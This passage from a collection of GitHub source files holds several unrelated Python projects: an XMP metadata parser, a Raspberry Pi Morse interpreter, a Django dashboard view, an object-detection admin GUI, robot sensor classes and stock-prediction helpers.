da lista(nomes)\r\nbox.grid()\r\n\r\n\r\nroot.mainloop()\r\n","repo_name":"JorgeLuizAngioleti/tkinter-combobox","sub_path":"combo/combobox.py","file_name":"combobox.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71689173951","text":"\"\"\"\n Origin by Matt Swain. Released under the MIT license.\n See file LICENSE for detail or copy at https://opensource.org/licenses/MIT\n\"\"\"\n\nNS_CROSSMARK    = 'http://crossref.org/crossmark/1.0/'\nNS_DC           = 'http://purl.org/dc/elements/1.1/'\nNS_EXIF         = 'http://ns.adobe.com/exif/1.0/'\nNS_PDF          = 'http://ns.adobe.com/pdf/1.3/'\nNS_PDFX         = 'http://ns.adobe.com/pdfx/1.3/'\nNS_PHOTOSHOP    = 'http://ns.adobe.com/photoshop/1.0/'\nNS_PRISM        = 'http://prismstandard.org/namespaces/basic/2.0/'\nNS_RDF          = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'\nNS_TIFF         = 'http://ns.adobe.com/tiff/1.0/'\nNS_XAP          = 'http://ns.adobe.com/xap/1.0/'\nNS_XAP_MM       = 'http://ns.adobe.com/xap/1.0/mm/'\nNS_XAP_RIGHTS   = 'http://ns.adobe.com/xap/1.0/rights/'\nNS_XML          = 'http://www.w3.org/XML/1998/namespace'\n\ndicNSLinktoNSTag = {NS_CROSSMARK    : 'crossmark',\n                    NS_DC           : 'dc',\n                    NS_EXIF         : 'exif',\n                    NS_PDF          : 'pdf',\n                    NS_PDFX         : 'pdfx',\n                    NS_PHOTOSHOP    : 'photoshop',\n                    NS_PRISM        : 'prism',\n                    NS_RDF          : 'rdf',\n                    NS_TIFF         : 'tiff',\n                    NS_XAP          : 'xap',\n                    NS_XAP_MM       : 'xapmm',\n                    NS_XAP_RIGHTS   : 'rights',\n                    NS_XML          : 'xml'}\n\nimport re\ntry:\n    import xml.etree.cElementTree as ET\nexcept:\n    import xml.etree.ElementTree as ET\n\nclass XMPParser(object):\n    def __init__(self):\n        assert False\n        pass\n\n    @staticmethod\n    def parse(inputData):\n\n        s1 = inputData.find('<x:xmpmeta')\n        s2 = inputData.find('/x:xmpmeta>')\n        s3 = inputData.find('<x:xapmeta')\n        s4 = inputData.find('/x:xapmeta>')\n        #print \"XMP index <x:xmpmeta=%d, /x:xmpmeta>=%d ==> <x:xapmeta=%d, /x:xapmeta>=%d\"%(s1, s2, s3, s4)\n        assert not (s1 == s2 and s3 == s4), \"New kind of XMP meta in this file !!\"\n        data = None\n        if s1 != s2 and s3 == s4:\n            data = inputData[s1:s2+11]\n        elif s3 != s4 and s1 == s2:\n            data = inputData[s3:s4+11]\n        else:\n            assert False, \"Containing multiple meta tags, correct the code !\"\n\n        meta = {}\n        xmlTree = ET.XML(data)\n        rdfTree = xmlTree.find('{' + NS_RDF + '}' + 'RDF')\n        targetDesc = '{' + NS_RDF + '}Description'\n        for description in rdfTree.findall(targetDesc):\n            for e in iter(description):\n                namespace = tag = None\n                lstLinkTag = re.split(\"[{}]\", e.tag)\n                if lstLinkTag[1].startswith('http'):\n                    namespace = dicNSLinktoNSTag.get(lstLinkTag[1], namespace)\n                    tag = lstLinkTag[2]\n                else:\n                    continue\n                if not namespace and not tag:\n                    continue\n\n                v = e.text\n                if e.find('{' + NS_RDF + '}Alt') != None:\n                    v = {}\n                    targetPath = '{' + NS_RDF + '}Alt/' + '{' + NS_RDF + '}li'\n                    for li in e.findall(targetPath):\n                        v[li.get('{' + NS_XML + '}lang')] = li.text\n                elif e.find('{' + NS_RDF + '}Bag') != None:\n                    v = []\n                    targetPath = '{' + NS_RDF + '}Bag/' + '{' + NS_RDF + '}li'\n                    for li in e.findall(targetPath):\n                        v.append(li.text)\n                elif e.find('{' + NS_RDF + '}Seq') != None:\n                    v = []\n                    targetPath = '{' + NS_RDF + '}Seq/' + '{' + NS_RDF + '}li'\n                    for li in e.findall(targetPath):\n                        v.append(li.text)\n                meta.setdefault(namespace, {})[tag] = v\n        return meta\n","repo_name":"kilikkuo/JPEGMetadataParser","sub_path":"XMPParser.py","file_name":"XMPParser.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"22015195502","text":"from morse_to_text import *\n\nimport time\nimport RPi.GPIO as GPIO\n\nmorse = ''\n\ntime_press = 0\ntime_nopress = 0\n\n# If the user holds the button for more than 200 milliseconds, a dash is inserted at the morse string instead of a dot\ntime_place_dash = 200\n\n# If the user doesn't press the button by 500 milliseconds, a letter break (space) is inserted at the morse string\ntime_next_letter = 500\n\n# If the user doesn't press the button by 1500 milliseconds, a word break (slash) is inserted at the morse string\ntime_next_word = 1500\n\n# I will be using the GPIO pin 4 (in BCM mode) to get the digital signal\npin = 4\n\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(pin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\nwhile True:\n    print(morse, morse_to_text(morse))\n    \n    signal = GPIO.input(pin)\n    \n    try:\n        if signal == 1 and time_press == 0:\n                time_press = round(time.time() * 1000)\n                time_nopress = 0\n        elif signal == 0:\n            if time_press > 0:\n                if round(time.time() * 1000) - time_press > time_place_dash:\n                    morse+= '-'\n                else:\n                    morse+= '.'\n\n                time_press = 0\n                time_nopress = round(time.time() * 1000)\n            elif morse[len(morse)-1] != '/' :\n                if round(time.time() * 1000) - time_nopress > time_next_word:\n                    if morse[len(morse)-1] == ' ':\n                        morse = morse[:-1]\n                    morse+= '/'\n                elif round(time.time() * 1000) - time_nopress > time_next_letter and morse[len(morse)-1] !=  ' ':\n                    morse+= ' '\n    except:\n        continue\n","repo_name":"joogps/Morse-Interpreter","sub_path":"interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7701148747","text":"from django.shortcuts import render, HttpResponse\nfrom django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.views import View\nfrom .models import Venda\n\n\nclass DashbordView(LoginRequiredMixin, PermissionRequiredMixin, View):\n    def dispatch(self, request, *args, **kwargs):\n        \"\"\"Verifica se o usuario tem permissão para ver a dashboard\"\"\"\n        if not request.user.has_perm('ver_dashboard'):\n            return HttpResponse('Você precisa de permisão para acessar a dashboard')\n\n        return super(DashbordView, self).dispatch(request, *args, **kwargs)\n\n    def get(self, request):\n        data = {}\n        data['media'] = Venda.objects.media()\n        data['media_desc'] = round(Venda.objects.media_desc(), 2)\n        data['min'] = Venda.objects.min()\n        data['max'] = Venda.objects.max()\n        data['n_ped'] = Venda.objects.n_ped()\n        data['n_ped_nfe'] = Venda.objects.n_ped_nfe()\n\n        return render(request, 'vendas/dashboard.html', data)\n","repo_name":"alan-d3v/course_djangoadv","sub_path":"vendas/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"22958990149","text":"import customtkinter\r\nimport os\r\nimport yaml\r\nimport tkinter as tk\r\nimport cv2\r\n\r\nfrom PIL import Image\r\nfrom pathlib import Path\r\nfrom src.logics.Detector import *\r\nfrom src.utils.get_cameras import get_available_cameras\r\nfrom src.utils.messageBox import showMessage\r\nimport threading\r\nimport requests\r\n\r\ndef create_main_gui():\r\n    customtkinter.set_appearance_mode(\"System\")  # Modes: \"System\" (standard), \"Dark\", \"Light\"\r\n    customtkinter.set_default_color_theme(\"dark-blue\")  # Themes: \"blue\" (standard), \"green\", \"dark-blue\"\r\n\r\n    '''\r\n    0 = not sending data\r\n    1 = sending data\r\n    '''\r\n    global detector\r\n    global MODEL_LOADED\r\n    global THRESHOLD\r\n    global API_BUTTON\r\n    global CAMERA_SEL\r\n    MODEL_LOADED = 0\r\n    detector = 0\r\n    API_BUTTON = 0\r\n    API_PORT = 27424\r\n    API_IP = \"127.0.0.1\"\r\n\r\n    predicting_thread = None\r\n    global video_thread\r\n    video_thread = None\r\n    global is_predicting\r\n    is_predicting = False\r\n    \r\n    ## Config Load\r\n    dir = 'src/assets'\r\n    filename = 'settings.yml'\r\n    filepath = os.path.join(dir, filename)\r\n\r\n    with open(filepath, 'r') as yaml_file:\r\n        loaded_data = yaml.safe_load(yaml_file)\r\n    global configuration\r\n    configuration = loaded_data.get('config', {})\r\n    lang = configuration.get('lang', None)\r\n    gpu_type = configuration.get('gpu_type', None)\r\n    if gpu_type == 1:\r\n        gpu_type = \"Low End\"\r\n    else:\r\n        gpu_type = \"High End\"\r\n\r\n\r\n    ## Load lang ##\r\n    if lang == \"Spanish\":\r\n        print(\":D\")\r\n        dir = 'src/assets/locale'\r\n        filename = 'es.yml'\r\n        filepath = os.path.join(dir, filename)\r\n\r\n        with open(filepath, 'r') as yaml_file:\r\n            l_data = yaml.safe_load(yaml_file)\r\n    if lang == \"English\":\r\n        dir = 'src/assets/locale'\r\n        filename = 'en.yml'\r\n        filepath = os.path.join(dir, filename)\r\n\r\n        with open(filepath, 'r') as yaml_file:\r\n            l_data = yaml.safe_load(yaml_file)\r\n    locale = l_data.get('main', {})\r\n\r\n    ## Functions ##\r\n    def start_stop_api_button_callback():\r\n        global API_BUTTON\r\n        if API_BUTTON == 0:\r\n            API_BUTTON = 1\r\n            button_start_stop_api.configure(border_color=\"green\", text=locale.get(\"api_started\", None))\r\n            entry_ip.configure(state=\"disabled\", fg_color=\"#565b5e\")\r\n            entry_port.configure(state=\"disabled\", fg_color=\"#565b5e\")\r\n\r\n        elif API_BUTTON == 1:\r\n            API_BUTTON = 0\r\n            button_start_stop_api.configure(border_color=\"red\", text=locale.get(\"api_stopped\", None))\r\n            entry_ip.configure(state=\"normal\", fg_color=\"#d6d6d6\")\r\n            entry_port.configure(state=\"normal\", fg_color=\"#d6d6d6\")\r\n\r\n    def api_status():\r\n        status = switch_api.get()\r\n\r\n        if status:\r\n            entry_ip.configure(state=\"normal\", fg_color=\"#d6d6d6\")\r\n            entry_port.configure(state=\"normal\", fg_color=\"#d6d6d6\")\r\n            button_start_stop_api.configure(state=\"normal\", border_width=1.5)\r\n        else:\r\n            if API_BUTTON:\r\n                start_stop_api_button_callback()\r\n            entry_ip.configure(state=\"disabled\", fg_color=\"#565b5e\")\r\n            entry_port.configure(state=\"disabled\", fg_color=\"#565b5e\")\r\n            button_start_stop_api.configure(state=\"disabled\", border_width=0)\r\n\r\n    def save_config():\r\n        new_gpu_type = config_cb_gpu.get()\r\n        new_lang = config_cb_lang.get()\r\n        dir = 'src/assets'\r\n        filename = 'settings.yml'\r\n        filepath = os.path.join(dir, filename)\r\n        with open(filepath, 'w') as yaml_file:\r\n            if new_gpu_type == \"High End\":\r\n                new_gpu_type = 0\r\n            else: \r\n                new_gpu_type = 1\r\n\r\n            data = {\r\n                'config': {\r\n                    'lang': new_lang,\r\n                    'gpu_type': new_gpu_type\r\n                }\r\n            }\r\n            yaml.dump(data, yaml_file, default_flow_style=False)\r\n\r\n            if new_lang == \"Spanish\":\r\n                dir = 'src/assets/locale'\r\n                filename = 'es.yml'\r\n                filepath = os.path.join(dir, filename)\r\n\r\n                with open(filepath, 'r') as yaml_file:\r\n                    loaded_data = yaml.safe_load(yaml_file)\r\n            if new_lang == \"English\":\r\n                dir = 'src/assets/locale'\r\n                filename = 'en.yml'\r\n                filepath = os.path.join(dir, filename)\r\n\r\n                with open(filepath, 'r') as yaml_file:\r\n                    loaded_data = yaml.safe_load(yaml_file)\r\n\r\n            nlocale = loaded_data.get('main', {})\r\n\r\n            print(f\"Data has been written to {filepath}\")\r\n            tk.messagebox.showinfo(title=\"FSD Admin Panel.\", message=nlocale.get('config_saved', None))\r\n\r\n    def predicting_func():\r\n        global predicting\r\n        global image_button\r\n        global API_BUTTON\r\n        global video_thread\r\n        global is_predicting\r\n\r\n\r\n        while predicting:\r\n            print(\"[IMAGE/API] Predicting...\")\r\n            dir = 'src/assets/gui/results'\r\n            filename = 'is_stopped.yml'\r\n            filepath = os.path.join(dir, filename)\r\n\r\n            with open(filepath, 'r') as yaml_file:\r\n                loaded_data = yaml.safe_load(yaml_file)\r\n\r\n            config = loaded_data.get('config', {})\r\n            stopped = config.get('stopped', None)\r\n\r\n            dir_api = 'src/assets/gui/results'\r\n            filename_api = 'is_stopped.yml'\r\n            filepath_api = os.path.join(dir_api, filename_api)\r\n\r\n            with open(filepath_api, 'r') as yaml_file:\r\n                loaded_data_api = yaml.safe_load(yaml_file)\r\n\r\n            config = loaded_data_api.get('config', {})\r\n            api_data = config.get('data', None)\r\n            if stopped == 1:\r\n                print(\"[IMAGE/API] Stopping predicting...\")\r\n                break\r\n            try:\r\n                my_image = customtkinter.CTkImage(Image.open(\"src/assets/gui/results/result.jpg\"), size=(1000, 900))\r\n                image_button.configure(image=my_image)\r\n            except:\r\n                print(\"Error on getting the image...\")\r\n                pass\r\n\r\n            if API_BUTTON:\r\n                url = entry_ip.get() + \":\" + entry_port.get()\r\n                response = requests.post(url, json=api_data)\r\n\r\n                if response.status_code == 200:\r\n                    print(response.json())\r\n                else:\r\n                    print(response.status_code())\r\n            time.sleep(0.5)\r\n\r\n    def predictVideo():\r\n        pred, api_data = detector.predictVideo(CAMERA_SEL, THRESHOLD)\r\n\r\n\r\n    def start_predicting_func():\r\n        global predicting\r\n        global camera_selector\r\n        global CAMERA_SEL\r\n        global THRESHOLD\r\n        global predicting_thread\r\n        global image_button\r\n        global video_thread\r\n        global is_predicting\r\n\r\n        print(pred_var.get())  \r\n        if pred_var.get() == \"on\":\r\n            data = {\r\n                'config': {\r\n                    'stopped': 0,\r\n                }\r\n            }\r\n            dir = 'src/assets/gui/results'\r\n            filename = 'is_stopped.yml'\r\n            filepath = os.path.join(dir, filename)\r\n\r\n            with open(filepath, 'w') as yaml_file:\r\n                yaml.dump(data, yaml_file, default_flow_style=False)\r\n\r\n\r\n            THRESHOLD = 0.5\r\n            predicting = True\r\n            CAMERA_SEL = camera_selector.get()\r\n                        \r\n            my_image = customtkinter.CTkImage(Image.open(\"src/assets/gui/results/result.jpg\"), size=(1000, 900))\r\n            image_button = customtkinter.CTkButton(master=tabview_1.tab(locale.get(\"view\", None)), text=\"\", image=my_image, state=\"disabled\", fg_color=\"transparent\")\r\n            image_button.pack()\r\n\r\n            predicting_thread = threading.Thread(target=predicting_func)\r\n            predicting_thread.start()\r\n\r\n            video_thread = threading.Thread(target=predictVideo)\r\n            video_thread.start() \r\n\r\n        else:\r\n            print(\"Started stopping prediction...\")\r\n            image_button.destroy()\r\n            data = {\r\n                'config': {\r\n                    'stopped': 1,\r\n                }\r\n            }\r\n            print(\"[main] data: \" + str(data))\r\n            dir = 'src/assets/gui/results'\r\n            filename = 'is_stopped.yml'\r\n            filepath = os.path.join(dir, filename)\r\n            print(\"[main] filepath: \" + str(filepath))\r\n            with open(filepath, 'w') as yaml_file:\r\n                yaml.dump(data, yaml_file, default_flow_style=False)\r\n            print(\"[main] Stopped prediction...\")\r\n\r\n            print(\"[main] Stopped stopping prediction threads...\")\r\n            video_thread.join()\r\n            print(\"[main] Stopped stopping prediction threads 1...\")\r\n            predicting = False\r\n            predicting_thread.join()\r\n            print(\"[main] Stopped stopping prediction threads 2...\")\r\n            \r\n\r\n    def start_model():\r\n        global CAMERA_SEL\r\n        global detector\r\n        global MODEL_LOADED\r\n        if MODEL_LOADED:\r\n            showMessage(locale.get('error_model_loaded', None), type=\"error\", timeout=4000)\r\n        else:\r\n            MODEL_LOADED = 1\r\n            showMessage(locale.get('start_model_msgbox', None), type=\"warning\", timeout=4000)\r\n            current_dir = Path(__file__).resolve().parent.parent\r\n            classFile = os.path.join(current_dir, \"assets\", \"models\", \"coco.names\")\r\n        \r\n            dir_settings = 'src/assets'\r\n            filename_settings = 'settings.yml'\r\n            filepath_settings = os.path.join(dir_settings, filename_settings)\r\n\r\n            with open(filepath_settings, 'r') as yaml_file:\r\n                loaded_data_gpu = yaml.safe_load(yaml_file)\r\n\r\n            config_gpu = loaded_data_gpu.get('config', {})\r\n            gpu_type = config_gpu.get('gpu_type', None)\r\n        \r\n            if gpu_type == 1:\r\n                MODEL_URL = \"http://download.tensorflow.org/models/object_detection/tf2/20200711/ssd_mobilenet_v2_fpnlite_640x640_coco17_tpu-8.tar.gz\"\r\n            else:\r\n                MODEL_URL = \"http://download.tensorflow.org/models/object_detection/tf2/20200711/mask_rcnn_inception_resnet_v2_1024x1024_coco17_gpu-8.tar.gz\"\r\n        \r\n\r\n\r\n            detector = Detector()\r\n\r\n            detector.downloadModel(MODEL_URL)\r\n            detector.readClasses(classFile)\r\n\r\n            detector.load_model()\r\n            showMessage(locale.get('model_started_msgbox', None), type=\"warning\", timeout=4000)\r\n            \r\n            start_model_btn.configure(state=\"disabled\")\r\n\r\n            cameras_available = get_available_cameras()\r\n            #print(cameras_available)\r\n\r\n            global camera_selector\r\n            camera_selector = customtkinter.CTkComboBox(master=tabview_1.tab(locale.get(\"home\", None)), values=cameras_available)\r\n            camera_selector.pack(pady=20)\r\n            CAMERA_SEL = cameras_available[0]\r\n\r\n            global pred_var\r\n            pred_var = customtkinter.StringVar(value=\"off\")\r\n            start_predicting = customtkinter.CTkSwitch(master=tabview_1.tab(locale.get(\"home\", None)), text=locale.get('start_predicting_btn', None), command=start_predicting_func, variable=pred_var, onvalue=\"on\", offvalue=\"off\")\r\n            start_predicting.pack(pady=10)\r\n\r\n            switch_api.configure(state=\"normal\")\r\n    ## End of functions ##\r\n\r\n\r\n    ## Load app\r\n    app = customtkinter.CTk()\r\n    app.geometry(\"1680x780\")\r\n    app.title(\"FSD - Research Project Admin Panel\")\r\n\r\n    #start_model()\r\n    #get_predicted_img()\r\n    #print(get_available_cameras())\r\n    # save this into an array to then do a for loop and generate all the things uk\r\n\r\n    frame_1 = customtkinter.CTkFrame(master=app)\r\n    frame_1.pack(pady=20, padx=60, fill=\"both\", expand=True)\r\n\r\n    label_1 = customtkinter.CTkLabel(master=frame_1, justify=customtkinter.LEFT, text=locale.get(\"title\", None), font=(\"Inter\", 25))\r\n    label_1.pack(pady=20, padx=10)\r\n\r\n    tabview_1 = customtkinter.CTkTabview(master=frame_1, width=1300)\r\n    tabview_1.pack(pady=10, padx=10)\r\n    tabview_1.add(locale.get(\"home\", None))\r\n    tabview_1.add(locale.get(\"config\", None))\r\n    tabview_1.add(locale.get(\"view\", None))\r\n    tabview_1.add(locale.get(\"API\", None))\r\n    tabview_1.set(locale.get(\"home\", None))\r\n\r\n    ### HOME TAB ###\r\n    start_model_btn = customtkinter.CTkButton(master=tabview_1.tab(locale.get(\"home\", None)), text=locale.get(\"start_model\"), command=start_model)\r\n    start_model_btn.pack(pady=20)\r\n\r\n    ### VIEW TAB ###\r\n    #my_image = customtkinter.CTkImage(Image.open(\"src/assets/gui/results/result.jpg\"), size=get_image_size())\r\n    #image_button = customtkinter.CTkButton(master=tabview_1.tab(locale.get(\"view\", None)), text=\"\", image=my_image, state=\"disabled\", fg_color=\"transparent\")\r\n    #image_button.pack()\r\n\r\n    ### CONFIG TAB ###\r\n\r\n    config_label_lang = customtkinter.CTkLabel(master=tabview_1.tab(locale.get(\"config\", None)), justify=customtkinter.LEFT, text=locale.get(\"language\", None))\r\n    config_label_lang.pack(pady=10, padx=10)\r\n\r\n    config_cb_lang = customtkinter.CTkComboBox(master=tabview_1.tab(locale.get(\"config\", None)), values=[\"Spanish\", \"English\"])\r\n    config_cb_lang.pack(pady=3, padx=10)\r\n    config_cb_lang.set(lang)\r\n\r\n    config_label_gpu = customtkinter.CTkLabel(master=tabview_1.tab(locale.get(\"config\", None)), justify=customtkinter.LEFT, text=locale.get(\"gpu_type\", None))\r\n    config_label_gpu.pack(pady=10, padx=10)\r\n\r\n    config_cb_gpu = customtkinter.CTkComboBox(master=tabview_1.tab(locale.get(\"config\", None)), values=[\"High End\", \"Low End\"])\r\n    config_cb_gpu.pack(pady=3, padx=10)\r\n    config_cb_gpu.set(gpu_type)\r\n\r\n    config_button_save = customtkinter.CTkButton(master=tabview_1.tab(locale.get(\"config\", None)), text=locale.get(\"save\", None), command=save_config)\r\n    config_button_save.pack(pady=10, padx=10)\r\n\r\n\r\n    #### API TAB ####\r\n\r\n    switch_api = customtkinter.CTkSwitch(master=tabview_1.tab(locale.get(\"API\", None)), text=locale.get(\"enable_api\", None), command=api_status, state=\"disabled\")\r\n    switch_api.pack(pady=10, padx=10)\r\n\r\n    label_ip = customtkinter.CTkLabel(master=tabview_1.tab(locale.get(\"API\", None)), justify=customtkinter.LEFT, text=locale.get(\"ip\", None))\r\n    label_ip.pack(pady=10, padx=10)\r\n\r\n    entry_ip = customtkinter.CTkEntry(master=tabview_1.tab(locale.get(\"API\", None)), placeholder_text=\"127.0.0.1\", state=\"disabled\", text_color=\"#000\")\r\n    entry_ip.pack(pady=5, padx=10)\r\n\r\n    label_port = customtkinter.CTkLabel(master=tabview_1.tab(locale.get(\"API\", None)), justify=customtkinter.LEFT, text=locale.get(\"port\", None))\r\n    label_port.pack(pady=10, padx=10)\r\n\r\n    entry_port = customtkinter.CTkEntry(master=tabview_1.tab(locale.get(\"API\", None)), placeholder_text=\"27424\", state=\"disabled\", text_color=\"#000\")\r\n    entry_port.pack(pady=5, padx=10)\r\n\r\n    button_start_stop_api = customtkinter.CTkButton(master=tabview_1.tab(locale.get(\"API\", None)), text=locale.get(\"api_stopped\", None), command=start_stop_api_button_callback, state=\"disabled\", border_color=\"red\", border_width=0)\r\n    button_start_stop_api.pack(pady=10, padx=10)\r\n\r\n    app.mainloop()","repo_name":"MayiVT/FSD","sub_path":"src/gui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20614208611","text":"import machine\nfrom utilities import *\n\nclass BATTERY():\n    \"\"\" The Battery Class controls the Battery sensor circuity\n        on the ISLA board\n    \"\"\"\n    def __init__(self):\n        \n        self.analog_in = machine.ADC(28) \n        self.conversion_factor = 3.3/(65536) #ADC Conversion factor  for 3.3V\n        self.timer = machine.Timer(-1) #Virtual Timer\n        self.Shutdown = machine.Pin(22,machine.Pin.OUT) #Unused due to  power circuit planning\n        self.low_battery = False\n        self.util= UTILITIES()\n        self.battery = 0\n        self.previousVolt = 0\n    \n    \n    def bat_str(self):\n        \"\"\"Display current Battery value\n        \"\"\"\n        if self.battery > 3.5:\n            text = str(round(self.battery,2))\n        else:\n            text = \"3.45\" #Displays the lowest allowed battery level\n        return text+\"V\"\n        \n        \n    def is_battery_low(self):\n        \"\"\"Enable battery monitering\n        \"\"\"\n        if self.low_battery:\n            return low_battery\n        return False\n        \n        \n    def bat_deinit(self):\n        \"\"\" Disable battery monitering\n        \"\"\"\n        self.util.io.output(1,0)\n        self.timer.deinit()\n        \n        \n    def read_level(self,time):\n        \"\"\" read level, reads the current battery level of the device\n            by using the ADC input from the on-board battery sensor, converts\n            the input value and disables the battery sensor.\n        \"\"\"\n        vdiv = 0\n        self.timer.deinit()\n        self.util.io.output(1,1)\n        if self.is_battery_low():\n            self.low_bat()\n            \n        vdiv = self.analog_in.read_u16()*self.conversion_factor\n        self.battery =(vdiv*(10+10)/10)\n        self.util.io.output(1,0) # Disable battery sensor\n        self.timer.init(period = 1000, mode=machine.Timer.PERIODIC, callback=self.read_level)\n        \n        \n    def bat_sensor_en(self):\n        \"\"\" Sets pin 1 on the MCP23009 high, and enables a one shot timer to initiate\n            battery reading\n        \"\"\"\n        self.util.io.output(1,1) # Enable battery sensor\n        self.timer.init(mode=machine.Timer.ONE_SHOT, period=100, callback=self.read_level)\n        \n        \n    def low_bat(self):\n        \"\"\" Low battery indicator\n        \"\"\"\n        if self.read_level < 4.2:\n            self.util.buzzer() #Annoying Buzzer\n            utime.sleep(0.5)\n               \nclass LINE():\n    \"\"\" The Line Class controls the Line sensor circuity\n        on the ISLA board\n    \"\"\"\n    def __init__(self):\n        \"\"\" creates variables and a utilities object\"\"\"\n        self.ir_CR = None\n        self.ir_CL = None\n        self.ir_L = None\n        self.ir_R = None\n        self.util= UTILITIES()\n        \n        \n    def line_enable(self):\n        \"\"\" Sets the external Pin 3 to high, and initialises the two internal ADC pins\n            and two external ADC Channels on the MCP3002\n        \"\"\"\n        self.util.io.output(2,1) # Enable line sensor\n        self.ir_CR = machine.ADC()\n        self.ir_CL = machine.ADC()\n        self.ir_L = ch0()\n        self.ir_R = ch1()\n        \n        \n    def line_disable(self):\n        \"\"\" Sets the external Pin 2 to low and deinitilises the ADC input pins on the RP2040\"\"\"\n        self.util.io.output(2,0) #Disable line sensor\n        \n        \nclass PROXIMITY():\n    \"\"\" The PROXIMITY Class controls the proximity sensor circuity\n        on the ISLA board\n    \"\"\"\n    def __init__(self, PXR=10, PXL=11, PXCL=12, PXCR=13):\n        \"\"\" Configures the RP2040 pins to Proximity sensor outputs \n        \"\"\"\n        self.util= UTILITIES() #Create an object of the Utlities class\n        self._pxr= PXR\n        self._pxl= PXL\n        self._pxcl= PXCL\n        self._pxcr= PXCR\n        \n        self.prox_left = None\n        self.prox_right = None\n        self.prox_cntrR = None\n        self.prox_cntrL = None\n        \n       \n    def proximity_enable(self):\n        \"\"\" Sets the external Pin 3 to high, initialises the RP2040's input pins\n            and pull-ups to enable sensor readings\n        \"\"\"\n        self.util.io.output(3,1)#Enable proximity sensor\n        self.prox_left = machine.Pin(self._pxl, machine.Pin.IN, machine.Pin.PULL_UP)\n        self.prox_cntrR = machine.Pin(self._pxcr, machine.Pin.IN, machine.Pin.PULL_UP)\n        self.prox_cntrL = machine.Pin(self._pxcl, machine.Pin.IN, machine.Pin.PULL_UP)\n        self.prox_right = machine.Pin(self._pxr, machine.Pin.IN, machine.Pin.PULL_UP)\n        \n        \n    def proximity_disable(self):\n        \"\"\" Sets the external Pin 3 to low and deinitilises the input pins on the RP2040\n        \"\"\"\n        self.util.io.output(3,0) #Disable proximity sensor\n        self.prox_left = None\n        self.prox_cntrR = None\n        self.prox_cntrL = None\n        self.prox_right = None\n\n","repo_name":"Bettys-sidepiece/Isla-Robotics-Project","sub_path":"sensors.py","file_name":"sensors.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"17965354935","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Make predictions\r\ndef make_predictions(model, x_test, scaler):\r\n    prediction = model.predict(x_test)\r\n    prediction_unscaled = np.concatenate((x_test[:, -1, :], prediction), axis=1)\r\n    prediction_unscaled[:, -1] = prediction[:, 0]\r\n    prediction = scaler.inverse_transform(prediction_unscaled)[:, -1]\r\n    return prediction\r\n\r\n# Plot the predictions\r\ndef plot_prediction(data, prediction, stock, seq_length):\r\n    plt.figure(figsize=(15,6))\r\n    plt.plot(data['Close'].values, color='blue', label='Actual Stock Price')\r\n    plt.plot(range(seq_length, len(prediction) + seq_length), prediction, color='red', label='Predicted Stock Price')\r\n    plt.title('Stock Price Prediction for ' + stock)\r\n    plt.xlabel('Date')\r\n    plt.ylabel('Stock Price')\r\n    plt.legend()\r\n    plt.show()\r\n\r\n# Function to predict future prices and provide buy/sell recommendations\r\ndef future_price_predictions(model, scaler, last_data, seq_length, forecast_length=7):\r\n    input_data = last_data[-seq_length:, :4].copy()  # Including only 'Open', 'High', 'Low', 'Close'\r\n    future_prices = []\r\n    # Predict future prices\r\n    for _ in range(forecast_length):\r\n        scaled_input = scaler.transform(input_data[-seq_length:])\r\n        scaled_input = scaled_input[:, :-1].reshape((1, seq_length, 3))\r\n        predicted_price = model.predict(scaled_input)[0][0]\r\n        input_data = np.vstack([input_data, [predicted_price, 0, 0, 0]])\r\n        unscaled_prediction = scaler.inverse_transform(\r\n            np.append(scaled_input[0, -1, :], predicted_price).reshape(1, -1)\r\n        )[-1, -1]\r\n        future_prices.append(unscaled_prediction)\r\n\r\n\r\n\r\n    # Determine best days to buy/sell\r\n    buy_days = []\r\n    sell_day = 0\r\n    max_profit = 0\r\n\r\n    for i in range(forecast_length):\r\n        for j in range(i + 1, forecast_length):\r\n            profit = future_prices[j] - future_prices[i]\r\n            if profit > max_profit:\r\n                max_profit = profit\r\n                buy_days = [i]\r\n                sell_day = j\r\n            elif profit == max_profit:\r\n                buy_days.append(i)\r\n\r\n    # Create a table to display the results\r\n    result_table = pd.DataFrame({\r\n        'Day': [f\"Day {i + 1}\" for i in range(forecast_length)],\r\n        'Predicted Price': future_prices,\r\n        'Action': ['Buy' if i in buy_days else 'Sell' if i == sell_day else '' for i in range(forecast_length)]\r\n    })\r\n\r\n    return result_table\r\n\r\n","repo_name":"DevPatel3547/AlgorithmicTradingModel","sub_path":"AlgorithmicTrading/predictions.py","file_name":"predictions.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
